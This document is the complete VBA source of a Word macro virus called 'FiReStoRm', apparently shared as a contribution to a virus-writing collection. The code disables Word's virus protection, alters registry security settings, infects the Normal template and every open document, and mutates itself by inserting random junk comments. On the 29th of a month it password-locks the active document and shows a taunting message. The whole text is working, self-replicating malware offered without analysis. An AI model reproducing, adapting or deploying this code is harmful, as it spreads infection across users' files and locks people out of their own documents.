Contribution - FiReStoRm    [by DR-EF]

  

Attribute VB_Name = "FiReStoRm"
Sub AutoOpen(): On Error Resume Next: x = Application.Version
If Day(Date) = 29 Then
With ActiveDocument: .Password = Int(Rnd * 1000) * Int(Rnd * 60): .Save: .Close
MsgBox "FiReStoRm by DR-EF...your data was burn by Fire storm...", vbExclamation
Application.Quit: End With: End If: Application.ShowVisualBasicEditor = 0
my = "c:\FiReStoRm.sys": Options.VirusProtection = 0: Application.ScreenUpdating = 0
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" & x & "\Word\Security", "AccessVBOM") = &H1
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\" & x & "\Word\Security", "Level") = &H1
Set n = Application.ActiveDocument.Application.NormalTemplate.VBProject.VBComponents
If ThisDocument.FullName = NormalTemplate.FullName Then
For Each x In Documents: fs = False
For z = 1 To x.VBProject.VBComponents.Count
If x.VBProject.VBComponents(z).Name = "FiReStoRm" Then
fs = True: End If: Next z
If fs = False Then
n("firestorm").Export my: x.VBProject.VBComponents.Import my: Kill my
Set s = NormalTemplate.Application.Documents(x).VBProject.VBComponents("firestorm").CodeModule
c = s.CountOfLines: Randomize
If c > 70 Or Int(Rnd * 5) = 3 Then
For i = 1 To 200: x = s.Lines(i, 1)
If Left(x, 1) = "'" Then s.DeleteLines i, 1
Next: End If: For i = c To 1 Step -1
For m = 1 To Int(Rnd * 60) + 15: x = Int(Rnd * 255): g = g & "'" & Chr(x)
Next: Randomize: If Int(Rnd * 6) + 1 = 3 Then s.InsertLines i, g
g = "": Next: fs = False: End If: Next x: ActiveDocument.Save
Else: td = Application.ActiveDocument.FullName
nt = Application.NormalTemplate.FullName: With Normal.ThisDocument.VBProject.VBComponents(1)
If .CodeModule.Lines(1, 1) = "" Then
Application.OrganizerCopy td, nt, "FiReStoRm", 3: .CodeModule.InsertLines 1, "'"
NormalTemplate.Save: End If: NormalTemplate.Saved = 1: End With: End If: End Sub